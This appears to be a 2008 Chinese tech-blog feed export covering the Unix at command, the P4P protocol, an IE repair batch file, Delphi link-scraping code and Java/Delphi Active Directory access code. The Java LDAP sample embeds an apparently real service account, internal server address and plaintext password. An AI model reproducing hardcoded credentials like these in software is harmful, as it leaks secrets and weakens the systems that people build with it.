<p style="TEXT-INDENT: 2em">-q : 使用指定的伫列(Queue)来储存，at 的资料是存放在所谓的 queue 中，使用者可以同时使用多个 queue，而 queue 的编号为 a, b, c... z 以及 A, B, ... Z 共 52 个 </p>
<p style="TEXT-INDENT: 2em">-m : 即使程式/指令执行完成后没有输出结果, 也要寄封信给使用者 </p>
<p style="TEXT-INDENT: 2em">-f file : 读入预先写好的命令档。使用者不一定要使用交谈模式来输入，可以先将所有的指定先写入档案后再一次读入 </p>
<p style="TEXT-INDENT: 2em">-l : 列出所有的指定 (使用者也可以直接使用 atq 而不用 at -l) </p>
<p style="TEXT-INDENT: 2em">-d : 删除指定 (使用者也可以直接使用 atrm 而不用 at -d) </p>
<p style="TEXT-INDENT: 2em">-v : 列出所有已经完成但尚未删除的指定 </p>
<p style="TEXT-INDENT: 2em">例子 : </p>
<p style="TEXT-INDENT: 2em">三天后的下午 5 点锺执行 /bin/ls : </p>
<p style="TEXT-INDENT: 2em">at 5pm + 3 days /bin/ls </p>
<p style="TEXT-INDENT: 2em">三个星期后的下午 5 点锺执行 /bin/ls : </p>
<p style="TEXT-INDENT: 2em">at 5pm + 2 weeks /bin/ls </p>
<p style="TEXT-INDENT: 2em">明天的 17:20 执行 /bin/date : </p>
<p style="TEXT-INDENT: 2em">at 17:20 tomorrow /bin/date </p>
<p style="TEXT-INDENT: 2em">1999 年的最后一天的最后一分钟印出 the end of world ! </p>
<p style="TEXT-INDENT: 2em">at 23:59 12/31/1999 echo the end of world ! </p>
<p style="TEXT-INDENT: 2em">&nbsp;</p>
</span></p>
<p>&nbsp;</p>
</span></p>
<p>&nbsp;</p>
</span></p>
<p>&nbsp;</p>
</span></p>
<p>&nbsp;</p>
</span>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=445" /> 
	  <id>http://www.openx.cn/default.asp?id=445</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[P4P]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2008-03-16T11:04:31+08:00</updated>
	  <published>2008-03-16T11:04:31+08:00</published>
		  <summary type="html"><![CDATA[P2P, or peer-to-peer, is the protocol currently used by many file sharing networks for moving large files over the internet. Now, a new protocol, P4P - aka Proactive network Provider Participation for P2P - is being introduced by Verizon. P4P's goal is to reduce backbone traffic and lower network operation costs. Will P4P bring us the bandwidth we've been waiting for?
<div class="asset-more" id="more">
<p>Unlike P2P, which selects random peers to share with, when using P4P the peers are intelligently selected as the protocol utilizes network topology data to maximize the efficiency of routing between the peer-to-peer connections. </p>
<p>Verizon just tested P4P with <a href="http://www.pando.com/">Pando </a>and received performance boosts of 200 percent on average and increases of up to 600 percent in some cases.</p>
<p>What's most remarkable about this story is that Verizon is looking towards working with P2P traffic instead of throttling it like Comcast has been doing lately. </p>
<p>At an upcoming conference in New York, Verizon will present their test results, which show that when an ISP cooperates with file-sharing, they can speed downloads an average of 60 percent.</p>
<p><img alt="" src="http://www.readwriteweb.com/images/pando_logo.gif" align="left" />&quot;This test signifies a turning point in the history of peer-to-peer technology and ISPs,&quot; said Robert Levitan, chief executive of Pando Networks Inc. &quot;It will definitely show ISPs that the problem is not peer-to-peer technology, the problem is how you deploy it. It is possible to deploy P2P to their advantage. The Internet is quickly transforming into a media distribution platform, and there are people who say: 'It will break. It's not built to move music and movies and games and software.' New technologies are needed, and this is one of those technologies.&quot;</p>
<p>The P4P protocol may even be ready by next month, when <a href="http://www.pandoblog.com/?p=254">NBC begins offering HD downloads</a> of popular TV shows via the Pando software.<br /></p>
<p>摘:http://www.readwriteweb.com/archives/goodbye_p2p_p4p_is_coming.php</p>
</div>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=444" /> 
	  <id>http://www.openx.cn/default.asp?id=444</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[IE不支持Javascript的解决方案]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2008-03-14T12:02:30+08:00</updated>
	  <published>2008-03-14T12:02:30+08:00</published>
		  <summary type="html"><![CDATA[<p>regsvr32 actxprxy.dll /s<br />regsvr32 shdocvw.dll /s<br />Regsvr32 URLMON.DLL /s<br />Regsvr32 actxprxy.dll /s<br />Regsvr32 shdocvw.dll /s<br />regsvr32 oleaut32.dll /s<br />rundll32.exe advpack.dll /DelNodeRunDLL32 C:\WINNT\System32\dacui.dll<br />rundll32.exe advpack.dll /DelNodeRunDLL32 C:\WINNT\Catroot\icatalog.mdb<br />regsvr32 setupwbv.dll /s<br />regsvr32 wininet.dll /s<br />regsvr32 comcat.dll /s<br />regsvr32 shdoc401.dll /s<br />regsvr32 shdoc401.dll /i /s<br />regsvr32 asctrls.ocx /s<br />regsvr32 oleaut32.dll /s<br />regsvr32 shdocvw.dll /I /s<br />regsvr32 shdocvw.dll /s<br />regsvr32 browseui.dll /s<br />regsvr32 browseui.dll /I /s<br />regsvr32 msrating.dll /s<br />regsvr32 mlang.dll /s<br />regsvr32 hlink.dll /s<br />regsvr32 mshtml.dll /s<br />regsvr32 mshtmled.dll /s<br />regsvr32 urlmon.dll /s<br />regsvr32 plugin.ocx /s<br />regsvr32 sendmail.dll /s<br />regsvr32 comctl32.dll /i /s<br />regsvr32 inetcpl.cpl /i /s<br />regsvr32 mshtml.dll /i /s<br />regsvr32 scrobj.dll /s<br />regsvr32 mmefxe.ocx /s<br />regsvr32 proctexe.ocx mshta.exe /register /s<br />regsvr32 corpol.dll /s<br />regsvr32 jscript.dll /s<br />regsvr32 msxml.dll /s<br />regsvr32 imgutil.dll /s<br />regsvr32 thumbvw.dll /s<br />regsvr32 cryptext.dll /s<br />regsvr32 rsabase.dll /s<br />regsvr32 triedit.dll /s<br />regsvr32 dhtmled.ocx /s<br />regsvr32 inseng.dll /s<br />regsvr32 iesetup.dll /i /s<br />regsvr32 hmmapi.dll /s<br />regsvr32 cryptdlg.dll /s<br />regsvr32 actxprxy.dll /s<br />regsvr32 dispex.dll /s<br />regsvr32 occache.dll /s<br />regsvr32 occache.dll /i /s<br />regsvr32 iepeers.dll /s<br />regsvr32 wininet.dll /i /s<br />regsvr32 urlmon.dll /i /s<br />regsvr32 digest.dll /i /s<br />regsvr32 cdfview.dll /s<br />regsvr32 webcheck.dll /s<br />regsvr32 mobsync.dll /s<br />regsvr32 pngfilt.dll /s<br />regsvr32 licmgr10.dll /s<br />regsvr32 icmfilter.dll /s<br />regsvr32 hhctrl.ocx /s<br />regsvr32 inetcfg.dll /s<br />regsvr32 trialoc.dll /s<br />regsvr32 tdc.ocx /s<br />regsvr32 MSR2C.DLL /s<br />regsvr32 msident.dll /s<br />regsvr32 msieftp.dll /s<br />regsvr32 xmsconf.ocx /s<br />regsvr32 ils.dll /s<br />regsvr32 msoeacct.dll /s<br />regsvr32 wab32.dll /s<br />regsvr32 wabimp.dll /s<br />regsvr32 wabfind.dll /s<br />regsvr32 oemiglib.dll /s<br />regsvr32 directdb.dll /s<br />regsvr32 inetcomm.dll /s<br />regsvr32 msoe.dll /s<br />regsvr32 oeimport.dll /s<br />regsvr32 msdxm.ocx /s<br />regsvr32 dxmasf.dll /s<br />regsvr32 laprxy.dll /s<br />regsvr32 l3codecx.ax /s<br />regsvr32 acelpdec.ax /s<br />regsvr32 mpg4ds32.ax /s<br />regsvr32 voxmsdec.ax /s<br />regsvr32 danim.dll /s<br />regsvr32 Daxctle.ocx /s<br />regsvr32 lmrt.dll /s<br />regsvr32 datime.dll /s<br />regsvr32 dxtrans.dll /s<br />regsvr32 dxtmsft.dll /s<br />regsvr32 vgx.dll /s<br />regsvr32 WEBPOST.DLL /s<br />regsvr32 WPWIZDLL.DLL /s<br />regsvr32 POSTWPP.DLL /s<br />regsvr32 CRSWPP.DLL /s<br />regsvr32 FTPWPP.DLL /s<br />regsvr32 FPWPP.DLL /s<br />regsvr32 FLUPL.OCX /s<br />regsvr32 wshom.ocx /s<br />regsvr32 wshext.dll /s<br />regsvr32 vbscript.dll /s<br />regsvr32 scrrun.dll mstinit.exe /setup /s<br />regsvr32 msnsspc.dll /SspcCreateSspiReg /s<br />regsvr32 msapsspc.dll /SspcCreateSspiReg /s</p>
<p>&nbsp;</p>
<p>以上另存为 ierepar.bat 并运行.</p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=443" /> 
	  <id>http://www.openx.cn/default.asp?id=443</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[IdHTTP ＋ RegExpr]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2008-03-14T10:55:10+08:00</updated>
	  <published>2008-03-14T10:55:10+08:00</published>
		  <summary type="html"><![CDATA[<p>关键词：IdHTTP ，RegExpr，正则表达式，链接</p>
<p>目的：取得Web页面中的链接及链接文字。</p>
<p>操作：</p>
<p>&nbsp; 1.使用IdHTTP获取网页的源码。</p>
<p>&nbsp; 2.使用RegExpr定义正则表达式，获取网页中的链接及链接文字。</p>
<p><br />实现方法如下：</p>
<p>//使用正则表达式，匹配网页源码，抽取内容。<br />procedure GetLinkFromHtml(Const SourceHtmlTxt,Pattern:String; var aList:TStringList);<br />var RegExp : TRegExpr;<br />&nbsp;&nbsp;&nbsp; HasMatch:Boolean;<br />begin<br />&nbsp; RegExp := TRegExpr.Create;</p>
<p>&nbsp; try<br />&nbsp;&nbsp;&nbsp; RegExp.Expression := Pattern;&nbsp;&nbsp; //范式<br />&nbsp;&nbsp;&nbsp; HasMatch:=RegExp.Exec(SourceHtmlTxt);<br />&nbsp; <br />&nbsp;&nbsp;&nbsp; while HasMatch do<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //aList.Add(RegExp.Match[0]);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; aList.Add(RegExp.Match[2]+'='+RegExp.Match[1]); <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HasMatch := RegExp.ExecNext;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<br />&nbsp; finally<br />&nbsp;&nbsp;&nbsp;&nbsp; FreeAndNil(RegExp);<br />&nbsp; end;<br />end;</p>
<p>&nbsp;</p>
<p>//解析网页源码内容，用正则表达式读取所需链接。<br />procedure ParsePageContent(pageText:String; var aList:TStringList);<br />var aPattern:String;<br />begin<br />&nbsp;&nbsp; //正则表达式<br />&nbsp;&nbsp; //链接形如：&lt;A href=&quot;<a href="http://ex01/public/abcdf.doc?attach=1">http://ex01/public/abcdf.doc?attach=1</a>&quot; TARGET=&quot;_blank&quot; &gt;&lt;FONT color=&quot;#000000&quot;&gt;附件1.doc(37KB)&lt;/FONT&gt;&lt;/A&gt;<br />&nbsp;&nbsp; aPattern:= '&lt;A\s+href\s*=\s*&quot;&quot;{0}([^&gt;].*?)\?attach=1&quot;&quot;{0}\s*TARGET\s*=\s*&quot;&quot;{0}_blank&quot;&quot;{0}\s*&gt;\s*&lt;FONT\s+color\s*=\s*&quot;&quot;{0}#000000&quot;&quot;{0}&gt;(.*?)\(([\d]+)KB\)\s*&lt;/FONT&gt;\s*&lt;/A&gt;';</p>
<p>&nbsp;&nbsp; GetLinkFromHtml(pageText,aPattern,aList); //使用正则表达式，匹配网页内容。<br />end;</p>
<p><br />//读取网页源码，从网页中得到文件的链接地址以及文件名称等内容。<br />//返回参数：HrefList。<br />procedure GetLinkList(EFileLink,Domain,UserName,PassWD:string; var HrefList:TStringList);<br />var aIdHTTP:TIdHTTP;<br />&nbsp;&nbsp;&nbsp; WebHTTPContent:String;<br />begin<br />&nbsp;&nbsp; aIdHTTP:=TIdHTTP.Create(nil);</p>
<p>&nbsp;&nbsp; try<br />&nbsp;&nbsp;&nbsp;&nbsp; aIdHTTP.Request.BasicAuthentication:=True;&nbsp; //设置权限<br />&nbsp;&nbsp;&nbsp;&nbsp; aIdHTTP.Request.Username:=Domain+'\'+UserName;<br />&nbsp;&nbsp;&nbsp;&nbsp; aIdHTTP.Request.Password:=PassWD;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //识别浏览器<br />&nbsp;&nbsp;&nbsp;&nbsp; aIdHTTP.Request.UserAgent:='Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)';<br />&nbsp;&nbsp;&nbsp;&nbsp; aIdHTTP.Request.Accept:='image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*';<br />&nbsp;&nbsp;&nbsp;&nbsp; aIdHTTP.Request.ContentType:='text/xml; charset=''UTF-8''';</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; aIdHTTP.Request.Connection:='Keep-Alive';<br />&nbsp;&nbsp;&nbsp;&nbsp; aIdHTTP.Request.Method:=(hmGet);//设置Request的方法</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //得到网页的内容（以OWA方式可打开）<br />&nbsp;&nbsp;&nbsp;&nbsp; //EFileLink:='http://ex01/public/工作流程/关于调整设备类型的通知.EML';<br />&nbsp;&nbsp;&nbsp;&nbsp; WebHTTPContent:=aIdHTTP.Get(EFileLink);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //UTF8解码<br />&nbsp;&nbsp;&nbsp;&nbsp; WebHTTPContent:=Utf8Decode(WebHTTPContent);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; //解析网页源码&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp; ParsePageContent(WebHTTPContent, HrefList);<br />&nbsp;&nbsp; finally<br />&nbsp;&nbsp;&nbsp;&nbsp; FreeAndNil(aIdHTTP);<br />&nbsp;&nbsp; end;<br />end;</p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=442" /> 
	  <id>http://www.openx.cn/default.asp?id=442</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[活动目录（Active Directory）小结]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2008-03-14T10:50:26+08:00</updated>
	  <published>2008-03-14T10:50:26+08:00</published>
		  <summary type="html"><![CDATA[<P>1.活动目录（AD）</P>
<P>&nbsp; Active Directory 是用于 Windows Server 的目录服务。<BR>&nbsp; 它存储着网络上各种对象的有关信息，并使该信息易于管理员和用户查找及使用。<BR>&nbsp; Active Directory 目录服务使用结构化的数据存储作为目录信息的逻辑层次结构的基础。 <BR>&nbsp; 通过登录验证以及目录中对象的访问控制，将安全性集成到 Active Directory 中。</P>
<P>&nbsp; 目录服务，如 Active Directory，提供了用于存储目录数据并使该数据可由网络用户和管理员使用的方法。<BR>&nbsp; 例如，Active Directory 存储了有关用户帐户的信息，如名称、密码、电话号码等，并允许相同网络上的其他已授权用户访问该信息。</P>
<P><BR>2.LDAP</P>
<P>&nbsp; LDAP是轻量目录访问协议，英文全称是Lightweight Directory Access Protocol。<BR>&nbsp; LDAP是基于X.500标准的。<BR>&nbsp; LDAP 仅通过使用原始 X.500目录存取协议 (DAP) 的功能子集而减少了所需的系统资源消耗。<BR>&nbsp; 与X.500不同，LDAP支持TCP/IP，这对访问Internet是必须的。<BR>&nbsp; LDAP和关系数据库是两种不同层次的概念，后者是存贮方式（同一层次如网格数据库，对象数据库），前者是存贮模式和访问协议。<BR>&nbsp; LDAP是一个比关系数据库抽象层次更高的存贮概念，与关系数据库的查询语言SQL属同一级别。</P>
<P><BR>3.ADSI</P>
<P>&nbsp; 在Delphi中可以使用微软的ADSI（活动目录服务接口）来访问活动目录。<BR>&nbsp; ADSI是一组以COM接口的形式提供目录服务的，是为基于目录服务提供的通用接口。<BR>&nbsp; 一些标准的ADSI提供者（Provider）有WinNT、IIS、LDAP和NDS。<BR>&nbsp; 可以通过ADSI存取四种网络目录结构：<BR>&nbsp; WinNT (Microsoft SAM 数据库)、LDAP (轻量目录存取协议)、NDS (NetWare目录服务)和NWCOMPAT(Novell NetWare 3.x)。&nbsp; <BR>&nbsp; ADSI可以使Windows NT 管理员的工作变得轻松。<BR>&nbsp; ADSI支持管理员执行一些一般的管理任务，比如添加新用户、管理打印机、安全设定和控制NT域。<BR>&nbsp; 因为ADSI使用COM接口，任何支持COM的编程语言像Delphi、BCB、VB、VC等都可以调用ADSI。</P>
<P><BR>&nbsp; 如在Delphi中调用ADSI，则需要引入活动目录类型库。<BR>&nbsp; 操作如下：<BR>&nbsp; 在IDE中，Project---&gt;Import Type Library。<BR>&nbsp; 选择“Active Ds Type Library(Version 1.0)”，单击“Create Unit”。<BR>&nbsp; Delphi会做相应的封装，生成ActiveDs_TLB.pas文件。<BR>&nbsp; Uses ActiveDs_TLB，就可以在Delphi程序中使用ADSI了。</P>
<P><BR>4.JAVA+LDAP访问Window 2000 Server AD。</P>
<P>package ADOper;</P>
<P>import java.util.Hashtable;<BR>import javax.naming.Context;<BR>import javax.naming.ldap.LdapContext;<BR>import javax.naming.ldap.InitialLdapContext;<BR>import javax.naming.NamingEnumeration;<BR>import javax.naming.directory.SearchControls;<BR>import javax.naming.directory.SearchResult;<BR>import javax.naming.NamingException;<BR>import javax.naming.directory.Attribute;<BR>import javax.naming.directory.Attributes;<BR>import java.util.Enumeration;</P>
<P>public class ADOperTest {<BR>&nbsp; public ADOperTest() {<BR>&nbsp; }</P>
<P>&nbsp; public void GetADInfo() {<BR>&nbsp;&nbsp;&nbsp; Hashtable HashEnv = new Hashtable();</P>
<P>&nbsp;&nbsp;&nbsp; String LDAP_URL = "<a href="http://www.openx.cn/ldap://192.168.100.3:389/">ldap://192.168.100.3:389</A>"; //LDAP访问地址<BR>&nbsp;&nbsp;&nbsp; //String adminName = "CN=OAWebUser,CN=Users,DC=Hebmc,DC=com";//AD的用户名<BR>&nbsp;&nbsp;&nbsp; String adminName = "Hebmc\\OAWebUser"; //注意用户名的写法：domain\User 或 <a href="http://www.openx.cn/mailto:User@domain.com">User@domain.com</A><BR>&nbsp;&nbsp;&nbsp; adminName = "<a href="http://www.openx.cn/mailto:OAWebUser@Hebmc.com">OAWebUser@Hebmc.com</A>"; //注意用户名的写法：domain\User 或 <a href="http://www.openx.cn/mailto:User@domain.com">User@domain.com</A><BR>&nbsp;&nbsp;&nbsp; String adminPassword = "chenzuooaup02"; //密码</P>
<P>&nbsp;&nbsp;&nbsp; HashEnv.put(Context.SECURITY_AUTHENTICATION, "simple"); //LDAP访问安全级别<BR>&nbsp;&nbsp;&nbsp; HashEnv.put(Context.SECURITY_PRINCIPAL, adminName); //AD User<BR>&nbsp;&nbsp;&nbsp; HashEnv.put(Context.SECURITY_CREDENTIALS, adminPassword); //AD Password<BR>&nbsp;&nbsp;&nbsp; HashEnv.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); //LDAP工厂类<BR>&nbsp;&nbsp;&nbsp; HashEnv.put(Context.PROVIDER_URL, LDAP_URL);</P>
<P>&nbsp;&nbsp;&nbsp; try {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LdapContext ctx = new InitialLdapContext(HashEnv, null);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SearchControls searchCtls = new SearchControls(); //Create the search controls<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; searchCtls.setSearchScope(SearchControls.SUBTREE_SCOPE); //Specify the search scope</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String searchFilter = "objectClass=User"; //specify the LDAP search filter<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //String searchFilter = "objectClass=organizationalUnit";//specify the LDAP search filter</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String searchBase = "DC=Hebmc,DC=com"; //Specify the Base for the search//搜索域节点<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int totalResults = 0;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Specify the attributes to return<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //String returnedAtts[] = {"memberOf"};//定制返回属性<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String returnedAtts[] = {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "url", "whenChanged", "employeeID", "name", "userPrincipalName",<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "physicalDeliveryOfficeName", "departmentNumber", "telephoneNumber",<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "homePhone", "mobile", "department", "sAMAccountName", "whenChanged",<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "mail"}; //定制返回属性</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; searchCtls.setReturningAttributes(returnedAtts); //设置返回属性集</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Search for objects using the filter<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NamingEnumeration answer = ctx.search(searchBase, searchFilter,searchCtls);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (answer.hasMoreElements()) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SearchResult sr = (SearchResult) answer.next();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("************************************************");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(sr.getName());</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Attributes Attrs = sr.getAttributes();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (Attrs != null) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (NamingEnumeration ne = Attrs.getAll(); ne.hasMore(); ) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Attribute Attr = (Attribute) ne.next();</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("&nbsp; AttributeID=" + Attr.getID().toString());</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //读取属性值<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (NamingEnumeration e = Attr.getAll(); e.hasMore();totalResults++) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("&nbsp;&nbsp;&nbsp; AttributeValues=" + e.next().toString());<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("&nbsp;&nbsp;&nbsp; ---------------");</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //读取属性值<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Enumeration values = Attr.getAll();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (values != null) { // 迭代<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (values.hasMoreElements()) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("&nbsp;&nbsp;&nbsp; AttributeValues=" + values.nextElement());<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("&nbsp;&nbsp;&nbsp; ---------------");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; catch (NamingException e) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.err.println("Throw Exception : " + e);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("Number: " + totalResults);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ctx.close();<BR>&nbsp;&nbsp;&nbsp; }</P>
<P>&nbsp;&nbsp;&nbsp; catch (NamingException e) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.printStackTrace();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.err.println("Throw Exception :&nbsp; " + e);<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp; }</P>
<P>&nbsp; public static void main(String args[]) {<BR>&nbsp;&nbsp;&nbsp; ADOperTest ad = new ADOperTest();<BR>&nbsp;&nbsp;&nbsp; ad.GetADInfo();<BR>&nbsp; }<BR>}</P>
<P>备注：</P>
<P>&nbsp; 使用LADP访问AD，注意用户名的写法：domain\User 或 <a href="http://www.openx.cn/mailto:User@domain.com">User@domain.com</A>。</P>
<P>&nbsp; 如用户名不正确，则可能会出现如下异常：</P>
<P>javax.naming.AuthenticationException: [LDAP: error code 49 - 80090308: LdapErr: DSID-0C090334, comment: AcceptSecurityContext error, data 525, vece</P>
<P><BR>5.Delphi7使用WinNT Provider访问Window 2000 Server AD。</P>
<P>unit Unt_AD;</P>
<P>interface</P>
<P>uses<BR>&nbsp; Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<BR>&nbsp; Dialogs, StdCtrls, ComCtrls, ActiveDs_TLB, ActiveX, ComObj;</P>
<P>type<BR>&nbsp; TMainFrm = class(TForm)<BR>&nbsp;&nbsp;&nbsp; grp1: TGroupBox;<BR>&nbsp;&nbsp;&nbsp; cbUseLogin: TCheckBox;<BR>&nbsp;&nbsp;&nbsp; lbl1: TLabel;<BR>&nbsp;&nbsp;&nbsp; ADSIUsername: TEdit;<BR>&nbsp;&nbsp;&nbsp; lbl2: TLabel;<BR>&nbsp;&nbsp;&nbsp; ADSIPassword: TEdit;<BR>&nbsp;&nbsp;&nbsp; ADSIDomainName: TEdit;<BR>&nbsp;&nbsp;&nbsp; btn1: TButton;<BR>&nbsp;&nbsp;&nbsp; lbl3: TLabel;<BR>&nbsp;&nbsp;&nbsp; GroupListView: TListView;<BR>&nbsp;&nbsp;&nbsp; ComputerListView: TListView;<BR>&nbsp;&nbsp;&nbsp; SeverListView: TListView;<BR>&nbsp;&nbsp;&nbsp; UserListView: TListView;<BR>&nbsp;&nbsp;&nbsp; lbl4: TLabel;<BR>&nbsp;&nbsp;&nbsp; lbl5: TLabel;<BR>&nbsp;&nbsp;&nbsp; Label1: TLabel;<BR>&nbsp;&nbsp;&nbsp; lbl6: TLabel;<BR>&nbsp;&nbsp;&nbsp; procedure btn1Click(Sender: TObject);<BR>&nbsp; private<BR>&nbsp;&nbsp;&nbsp; { Private declarations 